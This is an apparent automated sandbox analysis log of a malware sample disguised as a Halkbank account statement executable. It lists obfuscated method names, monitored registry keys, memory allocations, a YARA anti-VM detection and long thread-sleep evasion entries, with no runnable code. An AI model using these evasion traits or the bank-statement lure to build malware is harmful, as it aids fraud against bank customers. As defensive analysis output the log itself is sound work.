Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, wmDBajVNd98VIVRuG2.cs	High entropy of concatenated method names: 'UnFWThgTPD', 'YJnWhcWfTQ', 'FA8QDaHJJH', 'fGTQJ1UUMe', 'ddGQM1U2xh', 'AQKQ2FXJhB', 'IbRQaoNO9N', 'JsuQe5CXn6', 'DJ2QXYetHL', 'TpuQSDQwfZ'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, lRRIqr2t2v0WVf5PlP.cs	High entropy of concatenated method names: 'hfh8ASyFfO', 'RH08qmaeba', 'DEl8RHpq9d', 'WYO8mTLBc0', 'aXM8G2jrsO', 'CCm8Wq4Cv5', 'Sfk8sxBuHR', 'hnrkCg3K4K', 'IglkFsae7S', 'YYUkbcZI5a'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, EnE7sFddoOZbauWubq.cs	High entropy of concatenated method names: 'Dispose', 'RSpAbGdr9q', 'XowUf8J6OY', 'CSEyyuXuTY', 'MtCABuVvkA', 'QLTAzxD6lm', 'ProcessDialogKey', 'XA6UH5EF25', 'oPIUAJZDNA', 'TPhUUN2Sem'

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664, type: MEMORYSTR

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 2510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 2770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 26A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 7370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 8370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 8610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 9610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 1000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 29A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Memory allocated: 27E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599860	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599735	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599610	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599485	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599360	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 596310	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 596197	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 596079	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595954	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595591	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595366	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595196	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594829	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594704	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593360	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 593110	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 592961	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591563	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591422	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591313	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591188	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 591063	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Thread delayed: delay time: 590938	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Window / User API: threadDelayed 3219			Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Window / User API: threadDelayed 6567			Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 1684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 2828	Thread sleep count: 3219 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -599860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 2828	Thread sleep count: 6567 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -599735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -599610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -599485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -599360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -599235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -599110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -598985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -598860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -598735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -596310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -596197s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -596079s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -595954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -595591s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -595366s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -595196s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -595079s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -594954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -594829s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -594704s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -594594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe TID: 6688	Thread sleep time: -594360s >= -30000s	Jump to behavior
